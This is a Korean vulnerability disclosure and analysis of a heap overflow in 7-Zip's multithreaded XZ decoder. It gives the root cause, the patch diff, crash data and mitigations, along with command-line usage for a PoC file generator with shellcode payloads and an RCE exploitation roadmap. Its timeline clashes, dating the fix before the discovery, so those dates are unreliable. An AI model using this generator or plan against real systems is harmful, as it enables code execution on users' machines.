
7-Zip XZ Decoder Heap Buffer Overflow - 전체 분석, 근본 원인, PoC 및 RCE 악용 로드맵
치명적 심각도 | CVSS: 8.8 (High) | CWE-122: 힙 기반 버퍼 오버플로우
영향받는 버전: 7-Zip ≤ 26.01 | 패치됨: 7-Zip 26.02 (2026-06-25)
발견 및 분석: Li Yuxuan(liyuxuan504-byte) 및 팀
7-Zip ≤ 26.01 버전의 멀티스레드 XZ 디코더 경로에 힙 버퍼 오버플로우가 존재합니다. 악의적으로 조작된 .xz 아카이브는 힙에 할당된 출력 버퍼를 벗어난 경계 외 쓰기(out-of-bounds write)를 유발하여 다음과 같은 결과를 초래할 수 있습니다:
STATUS_ACCESS_VIOLATION (0xC0000005)으로 안정적인 크래시 발생이 취약점은 C/XzDec.c의 MixCoder_Code()에 있으며, SingleBuf(outBuf) 분기가 잔여 버퍼 용량(outBufSize - outWritten)에 대해 클램프하지 않은 destLen2를 LZMA2 디코더에 전달합니다.
취약한 7-Zip(또는 7z.dll)을 사용하여 신뢰할 수 없는 .xz 파일을 추출하는 모든 시스템 또는 애플리케이션은 위험에 노출됩니다. 멀티스레드 경로는 멀티코어 시스템에서 기본적으로 활성화되어 있습니다.
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf branch, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← NO boundary clamp
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← can exceed dicBufSize
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
→ dicPos exceeds dicBufSize → HEAP OVERFLOW
취약한 버전(26.01) — C/XzDec.c ~L606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← raw value, no clamping!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← tracks total but never checks
}
수정된 버전(26.02) — C/XzDec.c ~L605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEW boundary check
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // data inconsistency → abort
destLen2 -= p->outWritten; // clamp to remaining capacity!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
수정은 3줄입니다. LZMA2 디코더에 전달하기 전에 destLen2에서 p->outWritten(이 outBuf에 이미 기록된 바이트)을 빼서 디코더가 할당된 버퍼를 절대 벗어나 쓰지 못하도록 보장합니다.
단일 스레드 경로에서 XzUnpacker_Code는 MixCoder_Code를 호출하기 전에 자체적으로 unpackSize 기반 rem 클램프를 적용합니다. 이 클램프는 출력을 올바르게 제한합니다. 멀티스레드 SingleBuf 경로는 destLenOrig를 그대로 전달하므로 이 클램프를 우회합니다. destLen이 실제 버퍼 잔여 용량이 아닌 전체 잔여 입력 크기로 미리 설정되면 상위 클램프가 무력화됩니다.
outBuf는 ISzAlloc_Alloc(allocMid, unpackSize)를 통해 CRT 힙에 할당됩니다:
unpackSize | 할당자 | 익스플로잇 가능성 |
|---|---|---|
| ≤ 16 KB | LFH(Low Fragmentation Heap) | ★ RCE에 최적 — 동일 버킷의 인접 객체 |
| 16–64 KB | 세그먼트 힙(백엔드) | 가능 — 프리 리스트 변조 |
| ≥ 64 KB | VirtualAlloc(페이지 정렬) | DoS만 가능 — 가드 페이지가 오버플로우 차단 |
가장 유망한 익스플로잇 접근 방식:
unpackSize(256–16384바이트)를 사용하여 LFH 할당 트리거next 포인터 변조 → 임의 할당(arbitrary-alloc) 프리미티브 획득| 기능 | 상태 |
|---|---|
| DoS(크래시) | ✅ 7-Zip 26.00 x64에서 확인됨, 안정적 |
| 무음 힙 오버플로우(LFH) | ✅ 확인됨 — 버퍼를 넘어 쓰고 종료 코드 2로 크래시 없음 |
| 제어된 페이로드 전달 | ✅ LZMA2 copy-chunk 데이터로 완전히 제어 가능 |
| 힙 레이아웃 프리미티브 | ✅ 개념 증명 완료 — 대상별 레이아웃 튜닝 필요 |
| 완전한 RCE 체인 | ❌ 진행 중 — 대상 힙 레이아웃 분석 필요 |
일반적인 디버거(x64dbg, WinDbg)는 프로세스 생성 동작을 변경합니다. 디버거 아래에서 7z.dll은 멀티스레드 XZ 경로를 로드하지 않을 수 있으며, 프로세스는 취약점이 트리거되지 않는 단일 스레드 모드로 조용히 폴백됩니다. 따라서 다음과 같은 접근 방식이 필요했습니다:
tools/에 제공된 맞춤형 미니 디버거 사용poc/poc-cve-2026-14266-rce.py는 완전한 기능을 갖춘 XZ 익스플로잇 생성기입니다:
# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
| 매개변수 | 설명 | 권장값 |
|---|---|---|
--unpack-size | 블록에 선언된 unpackSize(= outBuf 할당 크기) | LFH RCE를 위해 256–4096 |
--overflow | outBuf를 넘어 쓸 총 바이트 수 | 4096–32768 |
--chunk-size | LZMA2 copy-chunk 데이터 크기(1–65535) | unpackSize를 균등하게 나누면 안 됩니다! 소수(97)를 사용하거나 --force-align-overflow 사용 |
--payload-cyclic | 오프셋 탐지를 위한 사이클릭 패턴 | 먼저 사용한 후 실제 페이로드로 교체 |
--payload-shellcode | Win x64 WinExec("calc.exe") 셸코드 내장 | ~276바이트 |
# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL
# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL
테스트 환경: Windows 11 Pro x64(빌드 26200) + 7-Zip 26.00
unpackSize | chunk_size | 오버플로우 | 결과 |
|---|---|---|---|
| 256 KB (0x40000) | 4096 (정렬됨) | ~32 KB | 0xC0000005 — 액세스 위반(가드 페이지) |
| 256 KB | 3 (원래 DoS) | ~30 KB | 0xC0000005 — 액세스 위반 |
| 256 KB | 4096 | ~32 KB | 0xC0000374 — 힙 손상 감지 |
| 256 B | 97 | ~1 KB | 종료 코드 2 — 무음 오버플로우! |
| 4 KB | 97 | ~16 KB | 종료 코드 2 — 무음 오버플로우! |
| 16 KB | 97 | ~32 KB | 종료 코드 2 — 무음 오버플로우! |
핵심 통찰: 모든 LFH 범위(≤16 KB) 할당은 무음 오버플로우를 발생시킵니다. 즉, 즉각적인 크래시 없이 페이로드 데이터가 인접한 힙 객체에 기록됩니다. 이것이 RCE 익스플로잇의 전제 조건입니다.
실시간 x64dbg 세션(7-Zip 26.00, MT 경로) 기준:
Fault instruction: mov byte ptr [rcx], r11b
Fault address: msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx): 0x12363C50002 = outBuf_base + 0x40002
(2 bytes past the 0x40000-byte outBuf)
Decoder struct (rbx = 0x12363B0BB00):
+0x28: outBuf base = 0x12363C10000
+0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
+0x38: write cursor = 0x40000 (ALREADY FULL when overflow begins)
Call chain:
msvcrt!memcpy
← 7z.dll+0x11EFF5 (LZMA2/XZ decode output copy loop)
← 7z.dll+0x1305D5
← 7z.dll+0x13071B (XZ multi-threaded decode entry)
← ntdll.dll+0x1D141 (thread start)
C/XzDec.c 수정)7z x -mmt=1 <file.xz>0xC0000005로 종료되는지 모니터링0xC0000374) 감시unpackSize를 초과하는 XZ 블록 탐색├── README.md ← This report
├── src-diff/
│ └── XzDec.diff.txt ← 26.01 vs 26.02 MixCoder_Code() diff
├── poc/
│ └── poc-cve-2026-14266-rce.py ← PoC generator (cyclic/shellcode/raw)
├── tools/
│ ├── 04-heap-analyze.ps1 ← x64dbg MCP automation for heap layout
│ ├── 05-mini-debugger.ps1 ← C# Win32 debug API mini-debugger
│ └── 06-guard-dump.ps1 ← Guard-page heap dumper (LFH analysis)
└── docs/
├── 01-crash-point-analysis.md ← Live crash trace (x64dbg)
├── 02-vulnerability-root-cause.md ← Full root cause analysis
└── 03-rce-exploit-plan.md ← RCE exploitation strategy
| 날짜 | 이벤트 |
|---|---|
| 2026-07-24 | 7-Zip 26.00에서 취약점 발견 및 확인 |
| 2026-07-24 | 크래시 PoC 개발, 실시간 디버깅으로 힙 오버플로우 확인 |
| 2026-07-24 | 근본 원인 식별: MixCoder_Code에서 누락된 destLen2 -= outWritten |
| 2026-07-24 | LFH 익스플로잇 전략을 갖춘 RCE PoC 생성기 개발 |
| 2026-07-25 | 전체 분석 보고서 발행 |
| 2026-06-25 | 수정 사항이 포함된 7-Zip 26.02 릴리스 |